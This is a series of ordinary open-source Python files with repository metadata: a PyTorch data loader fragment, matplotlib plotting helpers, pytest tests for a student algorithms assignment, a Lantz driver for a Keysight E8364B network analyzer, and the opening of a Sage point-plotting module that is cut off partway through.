\n                metadata = torch.Tensor( [self.metadata] )\n                \n        if self.projected == True:\n            \n            image = torch.Tensor(image.reshape(170,170,4)).permute(2,0,1)\n            \n        if self.metadata != None:\n            sample = {'image': image, 'metadata' : self.metadata, 'label': label}\n        \n        else:\n            sample = {'image': image,'label': label}\n\n        return sample\n\n", "meta": {"hexsha": "bc7ab283bc3faf06f35ab56f7c809e433a119308", "size": 48192, "ext": "py", "lang": "Python", "max_stars_repo_path": "Segmentation_UGSCNN/Projected_ResNet/MyDataLoader.py", "max_stars_repo_name": "Abdulah-Fawaz/Benchmarking-Surface-DL", "max_stars_repo_head_hexsha": "9693379f26d57f9aabf28b973f40a9f6f627d26f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-12-04T07:04:56.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-13T16:28:50.000Z", "max_issues_repo_path": "Segmentation_UGSCNN/Projected_ResNet/MyDataLoader.py", "max_issues_repo_name": "Abdulah-Fawaz/Benchmarking-Surface-DL", "max_issues_repo_head_hexsha": "9693379f26d57f9aabf28b973f40a9f6f627d26f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-12-21T09:36:11.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-25T10:26:43.000Z", "max_forks_repo_path": "Segmentation_UGSCNN/Projected_ResNet/MyDataLoader.py", "max_forks_repo_name": "Abdulah-Fawaz/Benchmarking-Surface-DL", "max_forks_repo_head_hexsha": "9693379f26d57f9aabf28b973f40a9f6f627d26f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-02-27T17:38:19.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-27T17:38:19.000Z", "avg_line_length": 34.0338983051, "max_line_length": 182, "alphanum_fraction": 0.5304407371, "include": true, "reason": "import numpy,from scipy", "num_tokens": 10281, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.1037486254807975, "lm_q1q2_score": 0.05146905291711304}}
{"text": "import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport torch as tc\r\nfrom matplotlib import cm\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\n\r\ndef show_multiple_images_v1(imgs, lxy=None, titles=None, save_name=None, cmap=None):\r\n    if cmap is None:\r\n        cmap = plt.cm.gray\r\n    ni = len(imgs)\r\n    if lxy is None:\r\n        lx = int(np.sqrt(ni)) + 1\r\n        ly = int(ni / lx) + 1\r\n    else:\r\n        lx, ly = tuple(lxy)\r\n    plt.figure()\r\n    for n in range(ni):\r\n        plt.subplot(lx, ly, n + 1)\r\n        tmp = imgs[n].cpu().numpy()\r\n        if tmp.ndim == 2:\r\n            plt.imshow(tmp, cmap=cmap)\r\n        else:\r\n            plt.imshow(tmp)\r\n        if titles is not None:\r\n            plt.title(str(titles[n]))\r\n        plt.axis('off')\r\n        plt.xticks([])\r\n        plt.yticks([])\r\n    if type(save_name) is str:\r\n        plt.savefig(save_name)\r\n    plt.show()\r\n\r\n\r\ndef scatter3d(x, y, z, if_plot=True):\r\n    if if_plot:\r\n        plt.close()\r\n    if type(x) is tc.Tensor:\r\n        x = x.cpu().numpy()\r\n        y = y.cpu().numpy()\r\n        z = z.cpu().numpy()\r\n    ax1 = plt.figure().add_subplot(111, projection='3d')\r\n    ax1.set_title('Scatter Plot')\r\n    plt.xlabel('X')\r\n    plt.ylabel('Y')\r\n    ax1.scatter(x, y, z, c='r', marker='o')\r\n    plt.legend('x1')\r\n    ax1.view_init(elev=90, azim=0)\r\n    if if_plot:\r\n        plt.draw()\r\n        plt.pause(1)\r\n    return ax1\r\n\r\n\r\ndef surf(x=None, y=None, z=None, xlabel='x label', ylabel='y label', zlabel='z label', title=''):\r\n    fig = plt.figure()\r\n    ax = Axes3D(fig)\r\n    if x is None:\r\n        x = np.array(range(z.shape[1]))\r\n    elif type(x) is tc.Tensor:\r\n        x = x.cpu().numpy()\r\n    if y is None:\r\n        y = np.array(range(z.shape[0]))\r\n    elif type(y) is tc.Tensor:\r\n        y = y.cpu().numpy()\r\n    if type(z) is tc.Tensor:\r\n        z = z.cpu().numpy()\r\n    x, y = np.meshgrid(x, y)\r\n    surf = ax.plot_surface(x, y, z, rstride=1, cstride=1, cmap=cm.jet,\r\n                           linewidth=0, antialiased=False)\r\n    ax.set_xlabel(xlabel, color='r')\r\n    ax.set_ylabel(ylabel, color='r')\r\n    ax.set_zlabel(zlabel)\r\n    # ax.zaxis.set_major_locator(LinearLocator(10))\r\n    # ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\r\n    fig.colorbar(surf, shrink=0.5, aspect=5)\r\n    fig.suptitle(title)\r\n    plt.show()\r\n\r\n\r\ndef plot(x, *y, marker='s'):\r\n    if type(x) is tc.Tensor:\r\n        if x.device != 'cpu':\r\n            x = x.cpu()\r\n        x = x.numpy()\r\n    fig = plt.figure()\r\n    ax = fig.add_subplot(1, 1, 1)\r\n    if len(y) > 0.5:\r\n        for y0 in y:\r\n            if type(y0) is tc.Tensor:\r\n                if y0.device != 'cpu':\r\n                    y0 = y0.cpu()\r\n                y0 = y0.numpy()\r\n            ax.plot(x, y0, marker=marker)\r\n    else:\r\n        ax.plot(x, marker=marker)\r\n    plt.show()\r\n\r\n\r\ndef plot_v1(x, *y, options=None, save=None):\r\n    if options is None:\r\n        options = dict()\r\n    num_curves = max(1, y.__len__())\r\n    # Default font\r\n    font1 = {'family': 'Times New Roman',\r\n             'weight': 'normal',\r\n             'size': 40}\r\n    # Default values\r\n    label_names = list()\r\n    for n in range(num_curves):\r\n        label_names.append('curve-' + str(n))\r\n    default_ops = ['labelsize', 'axfontname', 'labelfont', 'axnames',\r\n                   'legendfont', 'markers', 'labelnames']\r\n    default_val = [32, 'Times New Roman', font1, ['', ''], font1,\r\n                   ['o', 'v', '^', '<', '>', '1', '2', '3', '4', 's', 'p', '*', 'h', 'H', '+'],\r\n                   label_names]\r\n\r\n    save_opts = dict()\r\n    save_opts['name'] = 'img.png'\r\n    if type(save) is dict:\r\n        for s in save:\r\n            save_opts[s] = save[s]\r\n\r\n    opts = dict()\r\n    for n in range(default_ops.__len__()):\r\n        if default_ops[n] in options:\r\n            opts[default_ops[n]] = options[default_ops[n]]\r\n        else:\r\n            opts[default_ops[n]] = default_val[n]\r\n    while num_curves > opts['markers'].__len__():\r\n        opts['markers'] = opts['markers'] * 2\r\n    opts['markers'] = opts['markers'][:num_curves]\r\n\r\n    # start plotting\r\n    if type(x) is tc.Tensor:\r\n        if x.device != 'cpu':\r\n            x = x.cpu()\r\n        x = x.numpy()\r\n    x = np.array(x).reshape(-1,)\r\n    fig = plt.figure(figsize=(13, 10))\r\n    ax = fig.add_subplot(1, 1, 1)\r\n    if len(y) > 0.5:\r\n        n = 0\r\n        for y0 in y:\r\n            if type(y0) is tc.Tensor:\r\n                if y0.device != 'cpu':\r\n                    y0 = y0.cpu()\r\n                y0 = y0.numpy()\r\n            ax.plot(x, np.array(y0).reshape(-1,), marker=opts['markers'][n], markerfacecolor='w', markersize=12,\r\n                    markeredgewidth=2, label=opts['labelnames'][n])\r\n            n += 1\r\n    else:\r\n        ax.plot(x, marker=opts['markers'][0], markerfacecolor='w', markersize=12,\r\n                markeredgewidth=2, label=opts['labelnames'][0])\r\n\r\n    plt.tick_params(labelsize=opts['labelsize'])\r\n    labels = ax.get_xticklabels() + ax.get_yticklabels()\r\n    [label.set_fontname(opts['axfontname']) for label in labels]\r\n\r\n    plt.xlabel(opts['axnames'][0], opts['labelfont'])\r\n    plt.ylabel(opts['axnames'][1], opts['labelfont'])\r\n\r\n    plt.legend(prop=opts['legendfont'])\r\n    if type(save) is dict:\r\n        # plt.subplots_adjust(left=0.09, right=1, wspace=0.25, hspace=0.25, bottom=0.13, top=0.91)\r\n        plt.savefig(save_opts['name'])\r\n    plt.show()\r\n\r\n\r\n\r\n", "meta": {"hexsha": "b0cd1f36f33f67891246ea9e8cbaf9972782a567", "size": 5385, "ext": "py", "lang": "Python", "max_stars_repo_path": "PlotFun.py", "max_stars_repo_name": "StudentsZhouPengfei/Automatically-Differentiable-Quantum-Circuit-for-Many-qubit-State-Preparation", "max_stars_repo_head_hexsha": "42d3a77380e78819375c9fb2c5600ddc89a3ae3f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2021-05-10T01:49:59.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-13T19:03:40.000Z", "max_issues_repo_path": "PlotFun.py", "max_issues_repo_name": "StudentsZhouPengfei/Automatically-Differentiable-Quantum-Circuit-for-Many-qubit-State-Preparation", "max_issues_repo_head_hexsha": "42d3a77380e78819375c9fb2c5600ddc89a3ae3f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PlotFun.py", "max_forks_repo_name": "StudentsZhouPengfei/Automatically-Differentiable-Quantum-Circuit-for-Many-qubit-State-Preparation", "max_forks_repo_head_hexsha": "42d3a77380e78819375c9fb2c5600ddc89a3ae3f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.4912280702, "max_line_length": 113, "alphanum_fraction": 0.5182915506, "include": true, "reason": "import numpy", "num_tokens": 1516, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.392336815956846, "lm_q2_score": 0.13117322546005344, "lm_q1q2_score": 0.05146408561578685}}
{"text": "##\n# @author : Francony Steven\n# @brief : A file testing\n##\n\nimport pytest\nimport numpy\nimport copy\nimport S1_algotools as algo\n\n# Fixtures LISTS region\n@pytest.fixture\ndef int_fixture ():\n\treturn [1,2,3,4,-7]\n\n@pytest.fixture\ndef positive_list_fixture () :\n\treturn [2,4,8,10,12]\n\n@pytest.fixture\ndef negative_list_fixture () :\n\treturn [-2,-4,-8,-10,-12]\n\n@pytest.fixture\ndef zero_list_fixture () :\n \treturn [0,0,0,0,0,0,0,0,0,0]\n\n@pytest.fixture\ndef mix_list_fixture () :\n \treturn ['a',0,\"string\",0,0,0,0,0,None]\n# END Fixtures LISTS region\n\n# Fixtures MATRIX region\n@pytest.fixture\ndef mat_fixture() :\n\tmyMat = numpy.zeros([10, 10], dtype = int); \n\tmyMat[2][2] = 1  \n\treturn myMat\n\n@pytest.fixture\ndef mat_error_fixture() :\n\treturn numpy.zeros([10, 10], dtype = int);\n\n@pytest.fixture\ndef mat_little_fixture() :\n\treturn numpy.zeros([5, 5], dtype = int);\n # END fixtures MATRIX region\n\n # Fixtures RANDOM ARRAY region \n@pytest.fixture\ndef array_empty() :\n \tsize = 0\n\tmyMat = numpy.full([size,size],'',dtype='str')\n\treturn myMat\n\n@pytest.fixture\ndef array_high() :\n\tsize = 2\n\tmyMat = numpy.full([size,size],'',dtype='str')\n\treturn myMat\n\n@pytest.fixture\ndef array_normal() :\n \tsize = 6\n\tmyMat = numpy.full([size,size],'',dtype='str')\n\treturn myMat\n# END fixtures RANDOM ARRAY region\n\n# Fixtures STRING region\n@pytest.fixture\ndef string_empty() :\n\treturn \"\"\n\n@pytest.fixture\ndef string_spaced() :\n\treturn \"There is a little string\"\n\n@pytest.fixture\ndef string_unspaced() :\n\treturn \"Thereisalittlestring\"\n# END Fixtures STRING region\n\n# Fixtures LIST region\n@pytest.fixture\ndef list_empty() :\n\tlist = []\n\treturn list\n\n@pytest.fixture\ndef list_normal() :\n\tlist = range(10)\n\treturn list\n# END Fixtures LIST region\n\n\n# AVERAGING\n# Basic testing average function\ndef test_average_above_zero (int_fixture, positive_list_fixture, negative_list_fixture, zero_list_fixture, mix_list_fixture) :\n\tassert algo.average_above_zero(int_fixture) == 2.5\n\tassert algo.average_above_zero(positive_list_fixture) == 7.2\n\t\n\twith pytest.raises(ZeroDivisionError) :\n\t\tassert algo.average_above_zero(negative_list_fixture)\n\t\n\twith pytest.raises(ZeroDivisionError) :\n\t\tassert algo.average_above_zero(zero_list_fixture)\n\n\twith pytest.raises(TypeError) :\n\t\tassert algo.average_above_zero(mix_list_fixture)\n# END AVERAGING TESTING\n\n# TABLE MAXIMUM VALUE\n# Basic max_value testing function\ndef test_max_value (int_fixture, positive_list_fixture, negative_list_fixture, zero_list_fixture, mix_list_fixture) :\n\tassert algo.max_value(int_fixture) == 4\n\tassert algo.max_value(positive_list_fixture) == 12\n\tassert algo.max_value(negative_list_fixture) == -2\n\tassert algo.max_value(zero_list_fixture) == 0\n\n\twith pytest.raises(ValueError) :\n\t\tassert algo.max_value(mix_list_fixture)\n# END TABLE MAXIMUM TESTING\n\n# TABLE MINIMUM VALUE\n# Basic min_value testing function\ndef test_min_value (int_fixture, positive_list_fixture, negative_list_fixture, zero_list_fixture, mix_list_fixture) :\n\tassert algo.min_value(int_fixture) == -7\n\tassert algo.min_value(positive_list_fixture) == 2\n\tassert algo.min_value(negative_list_fixture) == -12\n\tassert algo.min_value(zero_list_fixture) == 0\n\n\twith pytest.raises(TypeError) :\n\t\tassert algo.min_value(mix_list_fixture)\n\n# END TABLE MINIMUM TESTING\n\n# REVERSE TABLE\n# Basic reverse_table testing function\ndef test_reverse_table (int_fixture, positive_list_fixture, negative_list_fixture, zero_list_fixture, mix_list_fixture) :\n\t assert algo.reverse_table(int_fixture) == [-7,4,3,2,1]\n\t assert algo.reverse_table(positive_list_fixture) == [12,10,8,4,2]\n\t assert algo.reverse_table(negative_list_fixture) == [-12,-10,-8,-4,-2]\n\t assert algo.reverse_table(zero_list_fixture) == [0,0,0,0,0,0,0,0,0,0]\n\t assert algo.reverse_table(mix_list_fixture) == [None,0,0,0,0,0,\"string\",0,'a']\n# END REVERSE TABLE TESTING\n\n# ROI BBOX\n# Basic roi_bbox testing function\ndef test_roi_bbox (mat_fixture, mat_error_fixture, mat_little_fixture) : \n\t\n\tassert algo.roi_bbox(mat_fixture).all() == numpy.array([[2,2],[2,2],[2,2],[2,2]]).all()\t\n\n\twith pytest.raises(ValueError) :\n\t\tassert algo.roi_bbox(mat_error_fixture)\n\n\twith pytest.raises(IndexError) :\n\t\tassert algo.roi_bbox(mat_little_fixture)\n# END ROI BBOX TESTING\n\n\n# RANDOM ARRAY FILLING\n# Basic random_fill_sparse testing function\ndef test_random_fill(array_empty, array_high, array_normal):\n\n\t# Testing with normal array defined in fixtures\n\talgo.random_fill_sparse(array_normal,6)\n\n\tcount = 0\n\trows_length = array_normal.shape[0]\n\tcols_length = array_normal.shape[1]\n\n\t\n\tfor row in range(rows_length):\n\t\tfor col in range(cols_length):\n\t\t\tif array_normal[row][col] == 'X':\n\t\t\t\tcount += 1\n\n\tassert count == 6\n\t# End testing with normal array defined in fixtures\n\n\twith pytest.raises(ValueError):\n\t\tassert algo.random_fill_sparse(array_empty,5)\n\n\twith pytest.raises(ValueError):\n\t\tassert algo.random_fill_sparse(array_high,30)\n# END RANDOM ARRAY FILLING TESTING\n\n# REMOVE WHITESPACE\n# Basic remove_whitespace testing function\ndef test_remove_whitespace(string_empty, string_unspaced, string_spaced):\n\t# Empty string testing\n\tassert algo.remove_whitespace(string_empty) == \"\"\n\t# Spaced string testing\n\tassert algo.remove_whitespace(string_spaced) == copy.deepcopy(string_spaced).replace(\" \",\"\")\n\t# Unspaced string testing\n\tassert algo.remove_whitespace(string_unspaced) == copy.deepcopy(string_unspaced).replace(\" \",\"\")\n# END REMOVE WHITESPACE\n\n# RANDOM ITEM SELECTION\n# Basic shuffle testing function\ndef test_shuffle(list_empty, list_normal):\n\t# Empty list testing\n\tassert algo.shuffle(list_empty) == []\n\t# Normal list testing\n\tassert len(set(algo.shuffle(list_normal)).intersection(copy.deepcopy(list_normal))) == len(algo.shuffle(list_normal))\n\t\t#listCopy = copy.deepcopy(list_normal)\n\t\t#list_normal = algo.shuffle(list_normal)\n\t\t#assert len(set(list_normal).intersection(listCopy)) == len(list_normal)\n# END RANDOM ITEM SELECTION TESTING\n\n# SORT SELECTIVE BUBBLE\n# Basic sort_selective testing function\ndef test_sort_selective(list_empty, positive_list_fixture, int_fixture, negative_list_fixture, zero_list_fixture, mix_list_fixture):\n\t# Empty list testing\n\tassert algo.sort_selective(list_empty) == []\n\t# Positive values list testing\n\tassert algo.sort_selective(positive_list_fixture) == sorted(copy.deepcopy(positive_list_fixture))\n\t# Positive and negative values list testing\n\tassert algo.sort_selective(int_fixture) == sorted(copy.deepcopy(int_fixture))\n\t# Negative list testing\n\tassert algo.sort_selective(negative_list_fixture) == sorted(copy.deepcopy(negative_list_fixture))\n\t# Zeros list testing\n\tassert algo.sort_selective(zero_list_fixture) == sorted(copy.deepcopy(zero_list_fixture))\n\t# Mixing type list testing\n\tassert algo.sort_selective(mix_list_fixture) == sorted(copy.deepcopy(mix_list_fixture))\n# END SORT SELECTIVE BUBBLE\n\n# SORT BUBBLE\n# Basic sort_bubble testing function\ndef test_sort_bubble(list_empty, positive_list_fixture, int_fixture, negative_list_fixture, zero_list_fixture, mix_list_fixture):\n\t# Empty list testing\n\tassert algo.sort_bubble(list_empty) == []\n\t# Positive values list testing\n\tassert algo.sort_bubble(positive_list_fixture) == sorted(copy.deepcopy(positive_list_fixture))\n\t# Positive and negative values list testing\n\tassert algo.sort_bubble(int_fixture) == sorted(copy.deepcopy(int_fixture))\n\t# Negative list testing\n\tassert algo.sort_bubble(negative_list_fixture) == sorted(copy.deepcopy(negative_list_fixture))\n\t# Zeros list testing\n\tassert algo.sort_bubble(zero_list_fixture) == sorted(copy.deepcopy(zero_list_fixture))\n\t# Mixing type list testing\n\tassert algo.sort_bubble(mix_list_fixture) == sorted(copy.deepcopy(mix_list_fixture))\n# END SORT BUBBLE", "meta": {"hexsha": "173fe9ce805235f88710e7019328fbdec55b147d", "size": 7635, "ext": "py", "lang": "Python", "max_stars_repo_path": "assignments/Session 1/S2_test.py", "max_stars_repo_name": "WestFR/USMB-BachelorDIM-Lectures-Algorithms", "max_stars_repo_head_hexsha": "b43ffc9675960ab809995959313bc2c16ddbd0ef", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2018-12-06T21:30:36.000Z", "max_stars_repo_stars_event_max_datetime": "2018-12-06T21:30:36.000Z", "max_issues_repo_path": "assignments/Session 1/S2_test.py", "max_issues_repo_name": "WestFR/USMB-BachelorDIM-Lectures-Algorithms", "max_issues_repo_head_hexsha": "b43ffc9675960ab809995959313bc2c16ddbd0ef", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2020-06-16T11:36:52.000Z", "max_issues_repo_issues_event_max_datetime": "2021-06-02T04:50:25.000Z", "max_forks_repo_path": "assignments/Session 1/S2_test.py", "max_forks_repo_name": "WestFR/USMB-BachelorDIM-Lectures-Algorithms", "max_forks_repo_head_hexsha": "b43ffc9675960ab809995959313bc2c16ddbd0ef", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.4197530864, "max_line_length": 132, "alphanum_fraction": 0.7741977734, "include": true, "reason": "import numpy", "num_tokens": 1879, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.10970577969958141, "lm_q1q2_score": 0.05142904120988742}}
{"text": "\"\"\"\n    lantz.drivers.keysight.e8364b\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    Drivers for the E8364B Network Analyzer using RAW SOCKETS\n\n    Authors: Alexandre Bourassa\n    Date: 24/03/2016\n\"\"\"\nimport numpy as _np\n\nfrom lantz import Feat, DictFeat, Action\nfrom lantz.feat import MISSING\nfrom lantz.errors import InstrumentError\nfrom lantz.messagebased import MessageBasedDriver\n\nclass E8364B(MessageBasedDriver):\n    \"\"\"E8364B Network Analyzer\n    \"\"\"\n\n\n    DEFAULTS = {'COMMON': {'write_termination': '\\n',\n                           'read_termination': '\\n',\n                           'timeout':10000,}}\n\n    @Feat(read_once=True)\n    def idn(self):\n        return self.query('*IDN?')\n\n# ----------------------------------------------------\n#       Sweep Settings functions\n# ----------------------------------------------------\n\n    @Feat(units='Hz')\n    def center_frequency(self):\n        \"\"\"Center Frequency\n        \"\"\"\n        return float(self.query('SENS:FREQ:CENT?'))\n\n    @center_frequency.setter\n    def center_frequency(self, value):\n        self.write('SENS:FREQ:CENT {}'.format(int(value)))\n\n\n    @Feat(units='Hz')\n    def span(self):\n        \"\"\"Span of the sweep\n        \"\"\"\n        return float(self.query('SENS:FREQ:SPAN?'))\n\n    @span.setter\n    def span(self, value):\n        self.write('SENS:FREQ:SPAN {}'.format(int(value)))\n\n    @Feat(units='Hz')\n    def if_bandwidth(self):\n        \"\"\"Bandwidth of the digital IF filter\n        \"\"\"\n        return float(self.query('SENS:BAND?'))\n\n    @if_bandwidth.setter\n    def if_bandwidth(self, value):\n        self.write('SENS:BAND {}'.format(int(value)))\n\n    @Feat(limits=(1, 16001, 1))\n    def nb_points(self):\n        \"\"\"The number of data points for the measurement\n        \"\"\"\n        return int(self.query('SENS:SWE:POIN?'))\n\n    @nb_points.setter\n    def nb_points(self, points):\n        self.write('SENS:SWE:POIN {}'.format(int(points)))\n\n    ALLOWED_MEAS_TYPE = {\"S11\", \"S12\", \"S21\", \"S22\"}\n    @Feat(values=ALLOWED_MEAS_TYPE)\n    def meas_type(self):\n        return self.get_measurement_catalog()['CH1_S11_1']\n\n    @meas_type.setter\n    def meas_type(self, meas_type):\n        self.write(\"CALC:PAR:MOD {}\".format(meas_type))\n\n\n# ----------------------------------------------------\n#       Power functions\n# ----------------------------------------------------\n\n    @Feat(values={True: 1, False: 0})\n    def power_on(self):\n        \"\"\"RF Power State (True==ON or False==OFF)\n        \"\"\"\n        return int(self.query('OUTP?'))\n\n    @power_on.setter\n    def power_on(self, state=True):\n        self.write('OUTP {}'.format(state))\n\n    @Feat()\n    def power_level(self):\n        \"\"\"RF Power level in dBm\n        \"\"\"\n        return float(self.query(\"SOUR:POW?\"))\n\n    @power_level.setter\n    def power_level(self, level):\n        self.write(\"SOUR:POW {}\".format(level))\n\n    ## Possibly not available on this model...\n    # @Feat(values={True: 1, False: 0})\n    # def manual_noise_on(self):\n    #     \"\"\"RF Power State (True==ON or False==OFF)\n    #     \"\"\"\n    #     return int(self.query('OUTP:MAN:NOIS?'))\n    #\n    # @manual_noise_on.setter\n    # def manual_noise_on(self, state=True):\n    #     if state:   state_str = 'ON'\n    #     else:       state_str = 'OFF'\n    #     self.write('OUTP:MAN:NOIS ' + state_str)\n\n#----------------------------------------------------\n#       Averaging functions\n#----------------------------------------------------\n\n    @Feat(values={True: 1, False: 0})\n    def average_on(self):\n        \"\"\"Averaging state (True==ON or False==OFF)\n        \"\"\"\n        return int(self.query('SENS:AVER:STAT?'))\n\n    @average_on.setter\n    def average_on(self, state=True):\n        self.write('SENS:AVER:STAT {}'.format(state))\n\n    @Feat(limits=(1,65536, 1))\n    def average_count(self):\n        \"\"\"Averaging count\n        \"\"\"\n        return int(self.query('SENS:AVER:COUN?'))\n\n    @average_count.setter\n    def average_count(self, counts):\n        self.write('SENS:AVER:COUN {}'.format(int(counts)))\n\n    @Action()\n    def clear_average(self):\n        \"\"\"Reset the averaging\n        \"\"\"\n        self.write('SENS:AVER:CLE')\n\n\n\n#----------------------------------------------------\n#       Data Query functions\n#----------------------------------------------------\n    @Feat(values={\"REAL32\":\"REAL,+32\", \"REAL64\":\"REAL,+64\", \"ASCII\":\"ASC,+0\"})\n    def data_format(self):\n        return self.query(\"FORM:DATA?\")\n\n    @data_format.setter\n    def data_format(self, value):\n        self.write('FORM:DATA {}'.format(value))\n\n    def query_data(self, command, use_cached=True):\n        # For quick data acquisition, let's assume data format as not changed since last query\n        form = self.recall('data_format') if use_cached else self.data_format\n        if form is MISSING: return _np.array([])\n        if form == \"REAL64\":\n            return _np.array(self.resource.query_binary_values(command, datatype='d', is_big_endian=True))\n        elif form == \"REAL32\":\n            return _np.array(self.resource.query_binary_values(command, datatype='f', is_big_endian=True))\n        elif form == \"ASCII\":\n            return _np.array(list(map(float, self.query(command).split(','))))\n        else:\n            raise Exception(str(form) + \"Invalid data format\")\n\n    @Action()\n    def x_data(self):\n        return self.query_data('SENS:X?')\n\n    @Action()\n    def y_data(self):\n        data = self.query_data(\"CALC:DATA? SDATA\")\n        data = data[::2]+data[1::2]*1j\n        return data\n\n\n# ----------------------------------------------------\n#       Traces and Channel functions (Complicates the remote use of the device\n#       so don't use unless you know what you are doing...)\n#       For simplicity, we will always use CH1 and parameter name 'CH1_S11_1'\n# ----------------------------------------------------\n    def clear_all_traces(self):\n        self.write('SYST:FPR')\n        self.write('DISP:WIND:STAT ON')\n\n    def create_new_measurement(self, name='CH1_S11_1', meas_type=\"S11\"):\n        if not meas_type in self.ALLOWED_MEAS_TYPE: raise Exception(\"Invalid meas_type: \"+str(meas_type))\n        self.write(\"CALC:PAR:DEF '\"+name+\"',\"+meas_type)\n        self.write(\"DISP:WIND:TRAC:FEED '\"+name+\"'\")\n\n\n    def get_measurement_catalog(self):\n        response = self.query(\"CALC:PAR:CAT?\").translate({ord('\"'):None}).split(',')\n        ans = dict()\n        for i in range(int(len(response)/2)):\n            ans[response[2*i]]=response[2*i+1]\n        return ans\n\n    def select_measurement(self, name):\n        self.write(\"CALC:PAR:SEL '{}'\".format(name))\n\n# ----------------------------------------------------\n#       Misc. functions\n# ----------------------------------------------------\n\n    @Action()\n    def initialize(self):\n        super(E8364B, self).initialize()\n        meas = self.get_measurement_catalog()\n        if not 'CH1_S11_1' in meas:\n            self.clear_all_traces()\n            self.create_new_measurement(name='CH1_S11_1', meas_type=\"S11\")\n\n        self.select_measurement('CH1_S11_1')\n        self.data_format = 'REAL64'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "9f85d81d58047f6f46d5c11f65b65335101d38d9", "size": 7055, "ext": "py", "lang": "Python", "max_stars_repo_path": "lantz/lantz/drivers/keysight/e8364b.py", "max_stars_repo_name": "zhong-lab/optics", "max_stars_repo_head_hexsha": "9de1942d9a128183ecb3d360b160b27126e7b8f0", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2016-04-13T12:59:18.000Z", "max_stars_repo_stars_event_max_datetime": "2020-06-24T17:43:04.000Z", "max_issues_repo_path": "lantz/lantz/drivers/keysight/e8364b.py", "max_issues_repo_name": "zhong-lab/optics", "max_issues_repo_head_hexsha": "9de1942d9a128183ecb3d360b160b27126e7b8f0", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lantz/lantz/drivers/keysight/e8364b.py", "max_forks_repo_name": "zhong-lab/optics", "max_forks_repo_head_hexsha": "9de1942d9a128183ecb3d360b160b27126e7b8f0", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2015-12-14T19:30:36.000Z", "max_forks_repo_forks_event_max_datetime": "2020-06-29T21:16:01.000Z", "avg_line_length": 29.0329218107, "max_line_length": 106, "alphanum_fraction": 0.542593905, "include": true, "reason": "import numpy", "num_tokens": 1671, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.10970577387797076, "lm_q1q2_score": 0.05142903848077091}}
{"text": "\"\"\"\nPoints\n\nTESTS::\n\n    sage: E = EllipticCurve('37a')\n    sage: P = E(0,0)\n    sage: def get_points(n): return sum([point(list(i*P)[:2], size=3) for i in range(-n,n) if i != 0 and (i*P)[0] < 3])\n    sage: sum([get_points(15*n).plot3d(z=n) for n in range(1,10)])\n    Graphics3d Object\n\"\"\"\n\n#*****************************************************************************\n#       Copyright (C) 2006 Alex Clemesha <clemesha@gmail.com>,\n#                          William Stein <wstein@gmail.com>,\n#                     2008 Mike Hansen <mhansen@gmail.com>,\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#\n#    This code is distributed in the hope that it will be useful,\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n#    General Public License for more details.\n#\n#  The full text of the GPL is available at:\n#\n#                  http://www.gnu.org/licenses/\n#*****************************************************************************\nfrom sage.misc.decorators import options, rename_keyword\nfrom sage.plot.colors import to_mpl_color\nfrom sage.plot.primitive import GraphicPrimitive_xydata\nimport collections\n\n\n# TODO: create _allowed_options for 3D point classes to\n# improve bad option handling in plot3d?\nclass Point(GraphicPrimitive_xydata):\n    \"\"\"\n    Primitive class for the point graphics type.  See point?, point2d?\n    or point3d? for information about actually plotting points.\n\n    INPUT:\n\n    - xdata - list of x values for points in Point object\n\n    - ydata - list of y values for points in Point object\n\n    - options - dict of valid plot options to pass to constructor\n\n    EXAMPLES:\n\n    Note this should normally be used indirectly via ``point`` and friends::\n\n        sage: from sage.plot.point import Point\n        sage: P = Point([1,2],[2,3],{'alpha':.5})\n        sage: P\n        Point set defined by 2 point(s)\n        sage: P.options()['alpha']\n        0.500000000000000\n        sage: P.xdata\n        [1, 2]\n\n    TESTS:\n\n    We test creating a point::\n\n        sage: point((3,3))\n        Graphics object consisting of 1 graphics primitive\n    \"\"\"\n    def __init__(self, xdata, ydata, options):\n        